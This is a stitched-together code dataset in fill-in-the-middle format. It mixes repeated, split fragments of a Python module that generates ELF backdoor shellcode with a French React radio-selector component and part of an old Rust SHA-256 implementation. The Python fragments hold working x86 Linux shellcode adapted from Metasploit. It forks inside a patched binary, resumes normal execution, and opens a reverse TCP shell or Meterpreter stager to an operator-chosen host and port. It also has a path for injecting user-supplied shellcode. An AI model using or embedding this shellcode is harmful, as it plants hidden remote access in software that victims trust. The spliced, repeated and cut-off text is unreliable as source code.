(self, CavesPicked={}): """ Modified metasploit linux/x64/shell_reverse_tcp shellcode to correctly fork the shellcode payload and contiue normal execution. """ if self.PORT is None: print ("Must provide port") sys.exit(1) self.shellcode1 = "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x07" #will need to put resume execution shellcode here self.shellcode1 += "\xbd" self.shellcode1 += struct.pack("<I", self.e_entry) self.shellcode1 += "\xff\xe5" self.shellcode1 += ("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" "\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68") #HOST self.shellcode1 += self.pack_ip_addresses() self.shellcode1 += "\x68\x02\x00" #PORT self.shellcode1 += struct.pack('!H', self.PORT) self.shellcode1 += ("\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1" "\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x52\x53\x89\xe1\xb0\x0b\xcd\x80") self.shellcode = self.shellcode1 return (self.shellcode1) def reverse_tcp_stager(self, CavesPicked={}): """ FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER Modified metasploit linux/x64/shell/reverse_tcp shellcode to correctly fork the shellcode payload and contiue normal execution. """ if self.PORT is None: print ("Must provide port") sys.exit(1) self.shellcode1 = "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x07" #will need to put resume execution shellcode here self.shellcode1 += "\xbd" self.shellcode1 += struct.pack("<I", self.e_entry) self.shellcode1 += "\xff\xe5" self.shellcode1 += ("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80" "\x97\x5b\x68") #HOST self.shellcode1 += self.pack_ip_addresses() self.shellcode1 += "\x68\x02\x00" #PORT self.shellcode1 += struct.pack('!H', self.PORT) self.shellcode1 += ("\x89\xe1\x6a" "\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\xb2\x07\xb9\x00\x10" "\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80\x5b" "\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1") self.shellcode = self.shellcode1 return (self.shellcode1) def user_supplied_shellcode(self, CavesPicked={}): """ For user with position independent shellcode from the user """ if self.SUPPLIED_SHELLCODE is None: print "[!] User must provide shellcode for this module (-U)" sys.exit(0) else: supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read() self.shellcode1 = "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x07" #will need to put resume execution shellcode here self.shellcode1 += "\xbd" self.shellcode1 += struct.pack("<I", self.e_entry) self.shellcode1 += "\xff\xe5" self.shellcode1 += supplied_shellcode self.shellcode = self.shellcode1 return (self.shellcode1)
reverse_shell_tcp
identifier_name
LinuxIntelELF32.py
''' Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com Copyright (C) 2013,2014, Joshua Pitts License: GPLv3 This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. See <http://www.gnu.org/licenses/> for a copy of the GNU General Public License Currently supports win32/64 PE and linux32/64 ELF only(intel architecture). This program is to be used for only legal activities by IT security professionals and researchers. Author not responsible for malicious uses. ''' import struct import sys class linux_elfI32_shellcode():
""" Linux ELFIntel x32 shellcode class """ def __init__(self, HOST, PORT, e_entry, SUPPLIED_SHELLCODE=None): #could take this out HOST/PORT and put into each shellcode function self.HOST = HOST self.PORT = PORT self.e_entry = e_entry self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE self.shellcode = "" self.stackpreserve = "\x90\x90\x60\x9c" self.stackrestore = "\x9d\x61" def pack_ip_addresses(self): hostocts = [] if self.HOST is None: print "This shellcode requires a HOST parameter -H" sys.exit(1) for i, octet in enumerate(self.HOST.split('.')): hostocts.append(int(octet)) self.hostip = struct.pack('=BBBB', hostocts[0], hostocts[1], hostocts[2], hostocts[3]) return self.hostip def returnshellcode(self): return self.shellcode def reverse_shell_tcp(self, CavesPicked={}): """ Modified metasploit linux/x64/shell_reverse_tcp shellcode to correctly fork the shellcode payload and contiue normal execution. """ if self.PORT is None: print ("Must provide port") sys.exit(1) self.shellcode1 = "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x07" #will need to put resume execution shellcode here self.shellcode1 += "\xbd" self.shellcode1 += struct.pack("<I", self.e_entry) self.shellcode1 += "\xff\xe5" self.shellcode1 += ("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" "\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68") #HOST self.shellcode1 += self.pack_ip_addresses() self.shellcode1 += "\x68\x02\x00" #PORT self.shellcode1 += struct.pack('!H', self.PORT) self.shellcode1 += ("\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1" "\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x52\x53\x89\xe1\xb0\x0b\xcd\x80") self.shellcode = self.shellcode1 return (self.shellcode1) def reverse_tcp_stager(self, CavesPicked={}): """ FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER Modified metasploit linux/x64/shell/reverse_tcp shellcode to correctly fork the shellcode payload and contiue normal execution. """ if self.PORT is None: print ("Must provide port") sys.exit(1) self.shellcode1 = "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x07" #will need to put resume execution shellcode here self.shellcode1 += "\xbd" self.shellcode1 += struct.pack("<I", self.e_entry) self.shellcode1 += "\xff\xe5" self.shellcode1 += ("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80" "\x97\x5b\x68") #HOST self.shellcode1 += self.pack_ip_addresses() self.shellcode1 += "\x68\x02\x00" #PORT self.shellcode1 += struct.pack('!H', self.PORT) self.shellcode1 += ("\x89\xe1\x6a" "\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\xb2\x07\xb9\x00\x10" "\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80\x5b" "\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1") self.shellcode = self.shellcode1 return (self.shellcode1) def user_supplied_shellcode(self, CavesPicked={}): """ For user with position independent shellcode from the user """ if self.SUPPLIED_SHELLCODE is None: print "[!] User must provide shellcode for this module (-U)" sys.exit(0) else: supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read() self.shellcode1 = "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x07" #will need to put resume execution shellcode here self.shellcode1 += "\xbd" self.shellcode1 += struct.pack("<I", self.e_entry) self.shellcode1 += "\xff\xe5" self.shellcode1 += supplied_shellcode self.shellcode = self.shellcode1 return (self.shellcode1)
identifier_body
LinuxIntelELF32.py
''' Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com Copyright (C) 2013,2014, Joshua Pitts License: GPLv3 This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. See <http://www.gnu.org/licenses/> for a copy of the GNU General Public License Currently supports win32/64 PE and linux32/64 ELF only(intel architecture). This program is to be used for only legal activities by IT security professionals and researchers. Author not responsible for malicious uses. ''' import struct import sys class linux_elfI32_shellcode(): """ Linux ELFIntel x32 shellcode class """ def __init__(self, HOST, PORT, e_entry, SUPPLIED_SHELLCODE=None): #could take this out HOST/PORT and put into each shellcode function self.HOST = HOST self.PORT = PORT self.e_entry = e_entry self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE self.shellcode = "" self.stackpreserve = "\x90\x90\x60\x9c" self.stackrestore = "\x9d\x61" def pack_ip_addresses(self): hostocts = [] if self.HOST is None: print "This shellcode requires a HOST parameter -H" sys.exit(1) for i, octet in enumerate(self.HOST.split('.')): hostocts.append(int(octet)) self.hostip = struct.pack('=BBBB', hostocts[0], hostocts[1], hostocts[2], hostocts[3]) return self.hostip def returnshellcode(self): return self.shellcode def reverse_shell_tcp(self, CavesPicked={}): """ Modified metasploit linux/x64/shell_reverse_tcp shellcode to correctly fork the shellcode payload and contiue normal execution. """ if self.PORT is None: print ("Must provide port") sys.exit(1) self.shellcode1 = "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x07" #will need to put resume execution shellcode here self.shellcode1 += "\xbd" self.shellcode1 += struct.pack("<I", self.e_entry) self.shellcode1 += "\xff\xe5" self.shellcode1 += ("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" "\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68") #HOST self.shellcode1 += self.pack_ip_addresses() self.shellcode1 += "\x68\x02\x00" #PORT self.shellcode1 += struct.pack('!H', self.PORT) self.shellcode1 += ("\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1" "\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x52\x53\x89\xe1\xb0\x0b\xcd\x80") self.shellcode = self.shellcode1 return (self.shellcode1) def reverse_tcp_stager(self, CavesPicked={}): """ FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER Modified metasploit linux/x64/shell/reverse_tcp shellcode to correctly fork the shellcode payload and contiue normal execution. """ if self.PORT is None: print ("Must provide port") sys.exit(1) self.shellcode1 = "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x07" #will need to put resume execution shellcode here self.shellcode1 += "\xbd" self.shellcode1 += struct.pack("<I", self.e_entry) self.shellcode1 += "\xff\xe5" self.shellcode1 += ("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80" "\x97\x5b\x68") #HOST self.shellcode1 += self.pack_ip_addresses() self.shellcode1 += "\x68\x02\x00" #PORT self.shellcode1 += struct.pack('!H', self.PORT) self.shellcode1 += ("\x89\xe1\x6a" "\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\xb2\x07\xb9\x00\x10" "\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80\x5b" "\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1") self.shellcode = self.shellcode1 return (self.shellcode1) def user_supplied_shellcode(self, CavesPicked={}): """ For user with position independent shellcode from the user """ if self.SUPPLIED_SHELLCODE is None:
else: supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read() self.shellcode1 = "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x07" #will need to put resume execution shellcode here self.shellcode1 += "\xbd" self.shellcode1 += struct.pack("<I", self.e_entry) self.shellcode1 += "\xff\xe5" self.shellcode1 += supplied_shellcode self.shellcode = self.shellcode1 return (self.shellcode1)
print "[!] User must provide shellcode for this module (-U)" sys.exit(0)
conditional_block
LinuxIntelELF32.py
''' Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com Copyright (C) 2013,2014, Joshua Pitts License: GPLv3 This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
Public License Currently supports win32/64 PE and linux32/64 ELF only(intel architecture). This program is to be used for only legal activities by IT security professionals and researchers. Author not responsible for malicious uses. ''' import struct import sys class linux_elfI32_shellcode(): """ Linux ELFIntel x32 shellcode class """ def __init__(self, HOST, PORT, e_entry, SUPPLIED_SHELLCODE=None): #could take this out HOST/PORT and put into each shellcode function self.HOST = HOST self.PORT = PORT self.e_entry = e_entry self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE self.shellcode = "" self.stackpreserve = "\x90\x90\x60\x9c" self.stackrestore = "\x9d\x61" def pack_ip_addresses(self): hostocts = [] if self.HOST is None: print "This shellcode requires a HOST parameter -H" sys.exit(1) for i, octet in enumerate(self.HOST.split('.')): hostocts.append(int(octet)) self.hostip = struct.pack('=BBBB', hostocts[0], hostocts[1], hostocts[2], hostocts[3]) return self.hostip def returnshellcode(self): return self.shellcode def reverse_shell_tcp(self, CavesPicked={}): """ Modified metasploit linux/x64/shell_reverse_tcp shellcode to correctly fork the shellcode payload and contiue normal execution. """ if self.PORT is None: print ("Must provide port") sys.exit(1) self.shellcode1 = "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x07" #will need to put resume execution shellcode here self.shellcode1 += "\xbd" self.shellcode1 += struct.pack("<I", self.e_entry) self.shellcode1 += "\xff\xe5" self.shellcode1 += ("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" "\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68") #HOST self.shellcode1 += self.pack_ip_addresses() self.shellcode1 += "\x68\x02\x00" #PORT self.shellcode1 += struct.pack('!H', self.PORT) self.shellcode1 += ("\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1" "\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x52\x53\x89\xe1\xb0\x0b\xcd\x80") self.shellcode = self.shellcode1 return (self.shellcode1) def reverse_tcp_stager(self, CavesPicked={}): """ FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER Modified metasploit linux/x64/shell/reverse_tcp shellcode to correctly fork the shellcode payload and contiue normal execution. """ if self.PORT is None: print ("Must provide port") sys.exit(1) self.shellcode1 = "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x07" #will need to put resume execution shellcode here self.shellcode1 += "\xbd" self.shellcode1 += struct.pack("<I", self.e_entry) self.shellcode1 += "\xff\xe5" self.shellcode1 += ("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80" "\x97\x5b\x68") #HOST self.shellcode1 += self.pack_ip_addresses() self.shellcode1 += "\x68\x02\x00" #PORT self.shellcode1 += struct.pack('!H', self.PORT) self.shellcode1 += ("\x89\xe1\x6a" "\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\xb2\x07\xb9\x00\x10" "\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80\x5b" "\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1") self.shellcode = self.shellcode1 return (self.shellcode1) def user_supplied_shellcode(self, CavesPicked={}): """ For user with position independent shellcode from the user """ if self.SUPPLIED_SHELLCODE is None: print "[!] User must provide shellcode for this module (-U)" sys.exit(0) else: supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read() self.shellcode1 = "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x07" #will need to put resume execution shellcode here self.shellcode1 += "\xbd" self.shellcode1 += struct.pack("<I", self.e_entry) self.shellcode1 += "\xff\xe5" self.shellcode1 += supplied_shellcode self.shellcode = self.shellcode1 return (self.shellcode1)
See <http://www.gnu.org/licenses/> for a copy of the GNU General
random_line_split
RDFISelector.js
import React from 'react' /* interface RDFISelector{ rdfi, onRDFIChange } */ export default class
extends React.PureComponent{ render(){ const { rdfi, onRDFIChange } = this.props; return React.createElement( 'div', { className: 'rdfi', style: { padding: "1em" }, onClick: e => { const t = e.currentTarget; onRDFIChange( t.querySelector('input[type="radio"][name="rd"]:checked').value + t.querySelector('input[type="radio"][name="fi"]:checked').value ) } }, React.createElement('span', {}, 'Répartition des'), React.createElement('div', {className: 'selector'}, React.createElement('label', {}, 'dépenses', React.createElement('input', {name: 'rd', value: "D", type: "radio", defaultChecked: rdfi[0] === 'D'} ) ), React.createElement('label', {}, 'recettes', React.createElement('input', {name: 'rd', value: "R", type: "radio", defaultChecked: rdfi[0] === 'R'} ) ) ), React.createElement('div', {className: 'selector'}, React.createElement('label', {}, 'de fonctionnement', React.createElement('input', {name: 'fi', value: "F", type:"radio", defaultChecked: rdfi[1] === 'F'} ) ), React.createElement('label', {}, "d'investissement", React.createElement('input', {name: 'fi', value: "I", type:"radio", defaultChecked: rdfi[1] === 'I'} ) ) ) ) } }
RDFISelector
identifier_name
RDFISelector.js
import React from 'react' /* interface RDFISelector{ rdfi, onRDFIChange }
return React.createElement( 'div', { className: 'rdfi', style: { padding: "1em" }, onClick: e => { const t = e.currentTarget; onRDFIChange( t.querySelector('input[type="radio"][name="rd"]:checked').value + t.querySelector('input[type="radio"][name="fi"]:checked').value ) } }, React.createElement('span', {}, 'Répartition des'), React.createElement('div', {className: 'selector'}, React.createElement('label', {}, 'dépenses', React.createElement('input', {name: 'rd', value: "D", type: "radio", defaultChecked: rdfi[0] === 'D'} ) ), React.createElement('label', {}, 'recettes', React.createElement('input', {name: 'rd', value: "R", type: "radio", defaultChecked: rdfi[0] === 'R'} ) ) ), React.createElement('div', {className: 'selector'}, React.createElement('label', {}, 'de fonctionnement', React.createElement('input', {name: 'fi', value: "F", type:"radio", defaultChecked: rdfi[1] === 'F'} ) ), React.createElement('label', {}, "d'investissement", React.createElement('input', {name: 'fi', value: "I", type:"radio", defaultChecked: rdfi[1] === 'I'} ) ) ) ) } }
*/ export default class RDFISelector extends React.PureComponent{ render(){ const { rdfi, onRDFIChange } = this.props;
random_line_split
sha2.rs
// Copyright 2012-2014 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your // option. This file may not be copied, modified, or distributed // except according to those terms. //! This module implements only the Sha256 function since that is all that is needed for internal //! use. This implementation is not intended for external use or for any use where security is //! important. use std::iter::range_step; use std::num::Zero; use std::slice::bytes::{MutableByteVector, copy_memory}; use serialize::hex::ToHex; /// Write a u32 into a vector, which must be 4 bytes long. The value is written in big-endian /// format. fn write_u32_be(dst: &mut[u8], input: u32) { use std::mem::to_be32; assert!(dst.len() == 4); unsafe { let x = dst.unsafe_mut_ref(0) as *mut _ as *mut u32; *x = to_be32(input); } } /// Read a vector of bytes into a vector of u32s. The values are read in big-endian format. fn read_u32v_be(dst: &mut[u32], input: &[u8]) { use std::mem::to_be32; assert!(dst.len() * 4 == input.len()); unsafe { let mut x = dst.unsafe_mut_ref(0) as *mut _ as *mut u32; let mut y = input.unsafe_ref(0) as *_ as *u32; for _ in range(0, dst.len()) { *x = to_be32(*y); x = x.offset(1); y = y.offset(1); } } } trait ToBits { /// Convert the value in bytes to the number of bits, a tuple where the 1st item is the /// high-order value and the 2nd item is the low order value. fn to_bits(self) -> (Self, Self); } impl ToBits for u64 { fn to_bits(self) -> (u64, u64) { return (self >> 61, self << 3); } } /// Adds the specified number of bytes to the bit count. fail!() if this would cause numeric /// overflow. fn add_bytes_to_bits<T: Int + CheckedAdd + ToBits>(bits: T, bytes: T) -> T { let (new_high_bits, new_low_bits) = bytes.to_bits(); if new_high_bits > Zero::zero() { fail!("numeric overflow occured.") } match bits.checked_add(&new_low_bits) { Some(x) => return x, None => fail!("numeric overflow occured.") } } /// A FixedBuffer, likes its name implies, is a fixed size buffer. When the buffer becomes full, it /// must be processed. The input() method takes care of processing and then clearing the buffer /// automatically. However, other methods do not and require the caller to process the buffer. Any /// method that modifies the buffer directory or provides the caller with bytes that can be modified /// results in those bytes being marked as used by the buffer. trait FixedBuffer { /// Input a vector of bytes. If the buffer becomes full, process it with the provided /// function and then clear the buffer. fn input(&mut self, input: &[u8], func: |&[u8]|); /// Reset the buffer. fn reset(&mut self); /// Zero the buffer up until the specified index. The buffer position currently must not be /// greater than that index. fn zero_until(&mut self, idx: uint); /// Get a slice of the buffer of the specified size. There must be at least that many bytes /// remaining in the buffer. fn next<'s>(&'s mut self, len: uint) -> &'s mut [u8]; /// Get the current buffer. The buffer must already be full. This clears the buffer as well. fn full_buffer<'s>(&'s mut self) -> &'s [u8]; /// Get the current position of the buffer. fn position(&self) -> uint; /// Get the number of bytes remaining in the buffer until it is full. fn remaining(&self) -> uint; /// Get the size of the buffer fn size(&self) -> uint; } /// A FixedBuffer of 64 bytes useful for implementing Sha256 which has a 64 byte blocksize. struct FixedBuffer64 { buffer: [u8, ..64], buffer_idx: uint, } impl FixedBuffer64 { /// Create a new FixedBuffer64 fn new() -> FixedBuffer64 { return FixedBuffer64 { buffer: [0u8, ..64], buffer_idx: 0 }; } } impl FixedBuffer for FixedBuffer64 { fn input(&mut self, input: &[u8], func: |&[u8]|) { let mut i = 0; let size = self.size(); // If there is already data in the buffer, copy as much as we can into it and process // the data if the buffer becomes full. if self.buffer_idx != 0 { let buffer_remaining = size - self.buffer_idx; if input.len() >= buffer_remaining { copy_memory( self.buffer.mut_slice(self.buffer_idx, size), input.slice_to(buffer_remaining)); self.buffer_idx = 0; func(self.buffer); i += buffer_remaining; } else { copy_memory( self.buffer.mut_slice(self.buffer_idx, self.buffer_idx + input.len()), input); self.buffer_idx += input.len(); return; } } // While we have at least a full buffer size chunk's worth of data, process that data // without copying it into the buffer while input.len() - i >= size { func(input.slice(i, i + size)); i += size; } // Copy any input data into the buffer. At this point in the method, the amount of // data left in the input vector will be less than the buffer size and the buffer will // be empty. let input_remaining = input.len() - i; copy_memory( self.buffer.mut_slice(0, input_remaining), input.slice_from(i)); self.buffer_idx += input_remaining; } fn reset(&mut self) { self.buffer_idx = 0; } fn zero_until(&mut self, idx: uint) { assert!(idx >= self.buffer_idx); self.buffer.mut_slice(self.buffer_idx, idx).set_memory(0); self.buffer_idx = idx; } fn next<'s>(&'s mut self, len: uint) -> &'s mut [u8] { self.buffer_idx += len; return self.buffer.mut_slice(self.buffer_idx - len, self.buffer_idx); } fn full_buffer<'s>(&'s mut self) -> &'s [u8] { assert!(self.buffer_idx == 64); self.buffer_idx = 0; return self.buffer.slice_to(64); } fn position(&self) -> uint { self.buffer_idx } fn remaining(&self) -> uint { 64 - self.buffer_idx } fn size(&self) -> uint { 64 } } /// The StandardPadding trait adds a method useful for Sha256 to a FixedBuffer struct. trait StandardPadding { /// Add padding to the buffer. The buffer must not be full when this method is called and is /// guaranteed to have exactly rem remaining bytes when it returns. If there are not at least /// rem bytes available, the buffer will be zero padded, processed, cleared, and then filled /// with zeros again until only rem bytes are remaining. fn standard_padding(&mut self, rem: uint, func: |&[u8]|); } impl <T: FixedBuffer> StandardPadding for T { fn standard_padding(&mut self, rem: uint, func: |&[u8]|) { let size = self.size(); self.next(1)[0] = 128; if self.remaining() < rem { self.zero_until(size); func(self.full_buffer()); } self.zero_until(size - rem); } } /// The Digest trait specifies an interface common to digest functions, such as SHA-1 and the SHA-2 /// family of digest functions. pub trait Digest { /// Provide message data. /// /// # Arguments ///
/// * input - A vector of message data fn input(&mut self, input: &[u8]); /// Retrieve the digest result. This method may be called multiple times. /// /// # Arguments /// /// * out - the vector to hold the result. Must be large enough to contain output_bits(). fn result(&mut self, out: &mut [u8]); /// Reset the digest. This method must be called after result() and before supplying more /// data. fn reset(&mut self); /// Get the output size in bits. fn output_bits(&self) -> uint; /// Convenience function that feeds a string into a digest. /// /// # Arguments /// /// * `input` The string to feed into the digest fn input_str(&mut self, input: &str) { self.input(input.as_bytes()); } /// Convenience function that retrieves the result of a digest as a /// newly allocated vec of bytes. fn result_bytes(&mut self) -> Vec<u8> { let mut buf = Vec::from_elem((self.output_bits()+7)/8, 0u8); self.result(buf.as_mut_slice()); buf } /// Convenience function that retrieves the result of a digest as a /// String in hexadecimal format. fn result_str(&mut self) -> String { self.result_bytes().as_slice().to_hex().to_string() } } // A structure that represents that state of a digest computation for the SHA-2 512 family of digest // functions struct Engine256State { h0: u32, h1: u32, h2: u32, h3: u32, h4: u32, h5: u32, h6: u32, h7: u32, } impl Engine256State { fn new(h: &[u32, ..8]) -> Engine256State { return Engine256State { h0: h[0], h1: h[1], h2: h[2], h3: h[3], h4: h[4], h5: h[5], h6: h[6], h7: h[7] }; } fn reset(&mut self, h: &[u32, ..8]) { self.h0 = h[0]; self.h1 = h[1]; self.h2 = h[2]; self.h3 = h[3]; self.h4 = h[4]; self.h5 = h[5]; self.h6 = h[6]; self.h7 = h[7]; } fn process_block(&mut self, data: &[u8]) { fn ch(x: u32, y: u32, z: u32) -> u32 { ((x & y) ^ ((!x) & z)) } fn maj(x: u32, y: u32, z: u32) -> u32 { ((x & y) ^ (x & z) ^ (y & z)) } fn sum0(x: u32) -> u32 { ((x >> 2) | (x << 30)) ^ ((x >> 13) | (x << 19)) ^ ((x >> 22) | (x << 10)) } fn sum1(x: u32) -> u32 { ((x >> 6) | (x << 26)) ^ ((x >> 11) | (x << 21)) ^ ((x >> 25) | (x << 7)) } fn sigma0(x: u32) -> u32 { ((x >> 7) | (x << 25)) ^ ((x >> 18) | (x << 14)) ^ (x >> 3) } fn sigma1(x: u32) -> u32 { ((x >> 17) | (x << 15)) ^ ((x >> 19) | (x << 13)) ^ (x >> 10) } let mut a = self.h0; let mut b = self.h1; let mut c = self.h2; let mut d = self.h3; let mut e = self.h4; let mut f = self.h5; let mut g = self.h6; let mut h = self.h7; let mut w = [0u32, ..64]; // Sha-512 and Sha-256 use basically the same calculations which are implemented // by these macros. Inlining the calculations seems to result in better generated code. macro_rules! schedule_round( ($t:expr) => ( w[$t] = sigma1(w[$t - 2]) + w[$t - 7] + sigma0(w[$t - 15]) + w[$t - 16]; ) ) macro_rules! sha2_round( ($A:ident, $B:ident, $C:ident, $D:ident, $E:ident, $F:ident, $G:ident, $H:ident, $K:ident, $t:expr) => ( { $H += sum1($E) + ch($E, $F, $G) + $K[$t] + w[$t]; $D += $H; $H += sum0($A) + maj($A, $B, $C); } ) ) read_u32v_be(w.mut_slice(0, 16), data); // Putting the message schedule inside the same loop as the round calculations allows for // the compiler to generate better code. for t in range_step(0u, 48, 8) { schedule_round!(t + 16); schedule_round!(t + 17); schedule_round!(t + 18); schedule_round!(t + 19); schedule_round!(t + 20); schedule_round!(t + 21); schedule_round!(t + 22); schedule_round!(t + 23); sha2_round!(a, b, c, d, e, f, g, h, K32, t); sha2_round!(h, a, b, c, d, e, f, g, K32, t + 1); sha2_round!(g, h, a, b, c, d, e, f, K32, t + 2); sha2_round!(f, g, h, a, b, c, d, e, K32, t + 3); sha2_round!(e, f, g, h, a, b, c, d, K32, t + 4); sha2_round!(d, e, f, g, h, a, b, c, K32, t + 5); sha2_round!(c, d, e, f, g, h, a, b, K32, t + 6); sha2_round!(b, c, d, e, f, g, h, a, K32, t + 7); } for t in range_step(48u, 64, 8) { sha2_round!(a, b, c, d, e, f, g, h, K32, t); sha2_round!(h, a, b, c, d, e, f, g, K32, t + 1); sha2_round!(g, h, a, b, c, d, e, f, K32, t + 2); sha2_round!(f, g, h, a, b, c, d, e, K32, t + 3); sha2_round!(e, f, g, h, a, b, c, d, K32, t + 4); sha2_round!(d, e, f, g, h, a, b, c, K32, t + 5); sha2_round!(c, d, e, f, g, h, a, b, K32, t + 6); sha2_round!(b, c, d, e, f, g, h, a, K32, t + 7); } self.h0 += a; self.h1 += b; self.h2 += c; self.h3 += d; self.h4 += e; self.h5 += f; self.h6 += g; self.h7 += h; } } static K32: [u32, ..64] = [ 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 ]; // A structure that keeps track of the state of the Sha-256 operation and contains the logic // necessary to perform the final calculations. struct Engine256 { length_bits: u64, buffer: FixedBuffer64, state: Engine256State, finished: bool, } impl Engine256 { fn new(h: &[u32, ..8]) -> Engine256 { return Engine256 { length_bits: 0, buffer: FixedBuffer64::new(), state: Engine256State::new(h), finished: false } } fn reset(&mut self, h: &[u32, ..8]) { self.length_bits = 0; self.buffer.reset(); self.state.reset(h); self.finished = false; } fn input(&mut self, input: &[u8]) { assert!(!self.finished) // Assumes that input.len() can be converted to u64 without overflow self.length_bits = add_bytes_to_bits(self.length_bits, input.len() as u64); let self_state = &mut self.state; self.buffer.input(input, |input: &[u8]| { self_state.process_block(input) }); } fn finish(&mut self) { if self.finished { return; } let self_state = &mut self.state; self.buffer.standard_padding(8, |input: &[u8]| { self_state.process_block(input) }); 